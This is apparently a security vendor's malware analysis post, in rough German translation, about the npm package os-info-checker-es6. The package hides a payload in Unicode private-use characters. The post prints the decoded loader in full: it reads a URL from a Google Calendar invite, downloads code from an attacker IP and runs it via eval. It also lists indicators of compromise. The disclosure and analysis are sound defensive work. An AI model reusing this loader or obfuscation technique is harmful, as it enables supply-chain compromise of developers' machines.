Am 19. März 2025 entdeckten wir ein Paket namens os-info-checker-es6
und waren verblüfft. Wir konnten sehen, dass es nicht das tat, was auf der Verpackung stand. Aber woran liegt das? Wir beschlossen, der Sache auf den Grund zu gehen und stießen zunächst auf einige Sackgassen. Aber Geduld zahlt sich aus, und wir bekamen schließlich die meisten Antworten, die wir suchten. Wir lernten auch etwas über Unicode-PUAs (Nein, keine Anmachsprüche). Es war eine Achterbahnfahrt der Gefühle!
Was ist das Paket?
Das Paket gibt nicht viele Anhaltspunkte, da es keine README
Datei. So sieht das Paket auf npm aus:

Nicht sehr informativ. Aber es klingt, als ob es Systeminformationen abruft. Lasst uns weitergehen.
Stinkender Code verrät es
Unsere Analyse-Pipeline hat sofort viele rote Fahnen aus dem Paket hervorgehoben vorinstallation.js
Datei aufgrund des Vorhandenseins eines eval()
Aufruf mit base64-kodierter Eingabe.

Wir sehen die eval(atob(...))
Aufruf. Das bedeutet "Dekodiere eine base64-Zeichenkette und werte sie aus", d.h. führe beliebigen Code aus. Das ist nie ein gutes Zeichen. Aber was ist die Eingabe?
Die Eingabe ist eine Zeichenkette, die sich aus dem Aufruf von decodieren()
auf ein natives Node-Modul, das mit dem Paket ausgeliefert wird. Die Eingabe für diese Funktion sieht aus wie... Nur ein |
?! Was ist das?
Wir haben hier mehrere große Fragen:
- Was macht die Decodierfunktion?
- Was hat die Dekodierung mit der Überprüfung von Betriebssysteminformationen zu tun?
- Warum ist es
eval()
es? - Warum ist die einzige Eingabe in das System eine
|
?
Gehen wir tiefer
Wir haben beschlossen, die Binärdatei zurückzuentwickeln. Es ist eine kleine Rust-Binärdatei, die nicht viel tut. Ursprünglich hatten wir erwartet, einige Funktionsaufrufe zu sehen, um Betriebssysteminformationen zu erhalten, aber wir sahen NICHTS. Wir dachten, dass die Binärdatei vielleicht mehr Geheimnisse verbirgt und die Antwort auf unsere erste Frage liefert. Dazu später mehr.
Aber was hat es dann mit der Eingabe in die Funktion auf sich, die nur eine |
? Jetzt wird es interessant. Das ist nicht die eigentliche Eingabe. Wir haben den Code in einen anderen Editor kopiert, und was wir sehen, ist:

Womp-womp! Fast wären sie damit durchgekommen. Was wir hier sehen, nennt sich Unicode "Private Use Access"-Zeichen. Dabei handelt es sich um nicht zugewiesene Codes in der Unicode-Norm, die für den privaten Gebrauch reserviert sind und mit denen jeder seine eigenen Symbole für seine Anwendung definieren kann. Sie sind von Natur aus nicht druckbar, da sie von Natur aus nichts bedeuten.
In diesem Fall ist die dekodieren
Aufruf in die native Node-Binärdatei dekodiert diese Bytes in base64-kodierte ASCII-Zeichen. Sehr clever!
Machen wir eine Spritztour
Also beschlossen wir, den eigentlichen Code zu untersuchen. Glücklicherweise speichert es den ausgeführten Code in einer Datei run.txt. Und das ist nur dies:
Konsole.log('Prüfen');
Das ist super uninteressant. Was haben die vor? Warum geben sie sich so viel Mühe, diesen Code zu verstecken? Wir waren fassungslos.
Aber dann...
Wir fingen an, veröffentlichte Pakete zu sehen, die von diesem Paket abhingen, wobei eines davon vom selben Autor stammte. Sie waren:
Skip-Tot
(19. März 2025)- Es ist eine Kopie des Pakets
vue-skip-to
.
- Es ist eine Kopie des Pakets
vue-dev-serverr
(31. März 2025)- Es handelt sich um eine Kopie des Repo https://github.com/guru-git-man/first.
vue-dummyy
(3. April 2025)- Es ist eine Kopie des Pakets
vue-Attrappe
.
- Es ist eine Kopie des Pakets
vue-bit
(3. April 2025)- Gibt vor, das Paket zu sein
@teambit/bvm
. - Er enthält keinen eigentlichen Code.
- Gibt vor, das Paket zu sein
Sie alle haben gemeinsam, dass sie Folgendes hinzufügen os-info-checker-es6
als Abhängigkeit, aber rufen Sie niemals die dekodieren
Funktion. Was für eine Enttäuschung. Wir haben keine Ahnung, was die Angreifer vorhatten. Eine Zeit lang passierte nichts, bis die os-info-checker-es6
Paket wurde nach einer langen Pause wieder aktualisiert.
ENDLICH
Ich hatte diesen Fall schon eine Weile im Hinterkopf. Er ergab keinen Sinn. Was versuchten sie zu tun? Hatte ich etwas Offensichtliches übersehen, als ich das native Node-Modul dekompilierte? Warum sollte ein Angreifer diese neuartige Fähigkeit so schnell verbrennen? Die Antwort kam am 7. Mai 2025, als eine neue Version von os-info-checker-es6
, Version 1.0.8
herauskam. Die vorinstallation.js
hat sich geändert.

Oh, sieh mal, die verschleierte Zeichenfolge ist viel länger! Aber die eval
Aufruf ist auskommentiert. Selbst wenn also eine bösartige Nutzlast in der verschleierten Zeichenkette vorhanden ist, würde sie nicht ausgeführt werden. Wie? Wir haben den Decoder in einer Sandbox laufen lassen und den dekodierten String ausgedruckt. Hier ist er nach ein wenig Aufhübschung und manuellen Anmerkungen:
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
Haben Sie die URL zu Google Calendar im Orchestrator gesehen? Das ist eine interessante Sache, die man in Malware sehen kann. Sehr aufregend.
Ihr seid alle eingeladen!
So sieht der Link aus:

Eine Kalendereinladung mit einer base64-kodierten Zeichenfolge als Titel. Wunderbar! Das Pizza-Profilfoto ließ mich hoffen, dass es sich vielleicht um eine Einladung zu einer Pizza-Party handelt, aber das Ereignis ist für den 7. Juni 2027 geplant. So lange kann ich nicht auf eine Pizza warten. Ich nehme aber eine andere base64-kodierte Zeichenfolge. Hier ist, was es dekodiert zu:
http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D
Wieder in einer Sackgasse...
Diese Untersuchung war voller Höhen und Tiefen. Wir dachten, die Dinge seien in einer Sackgasse, nur um dann wieder Lebenszeichen von sich zu geben. Wir waren so nah dran, die ECHTE bösartige Absicht des Entwicklers herauszufinden, aber wir haben es nicht ganz geschafft.
Täuschen Sie sich nicht - dies war ein neuer Ansatz zur Verschleierung. Man sollte meinen, dass jeder, der die Zeit und Mühe auf sich nimmt, um so etwas zu tun, die von ihm entwickelten Möglichkeiten auch nutzen würde. Stattdessen haben sie anscheinend nichts damit gemacht und ihre Hand gezeigt.
Daher erkennt unser Analyseprogramm jetzt Muster wie dieses, bei denen ein Angreifer versucht, Daten in nicht druckbaren Steuerzeichen zu verstecken. Dies ist ein weiterer Fall, in dem der Versuch, clever zu sein, die Entdeckung nicht erschwert, sondern sogar noch mehr Signale erzeugt. Denn es ist so ungewöhnlich, dass es auffällt und ein großes Schild mit der Aufschrift "ICH FÜHRE NICHTS GUTES VOR" trägt. Machen Sie weiter so mit Ihrer großartigen Arbeit. 👍
Indikatoren für Kompromisse
Pakete
os-info-checker-es6
Skip-Tot
vue-dev-serverr
vue-dummyy
vue-bit
IPs
- 140.82.54[.]223
URLs
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
Danksagung
Während dieser Untersuchung wurden wir von unseren großartigen Freunden bei Vector35 unterstützt, die uns eine Testlizenz für ihr Tool Binary Ninja zur Verfügung stellten, um sicherzustellen, dass wir das native Node-Modul vollständig verstehen. Ein großes Dankeschön an das Team dort für ihr großartiges Produkt. 👏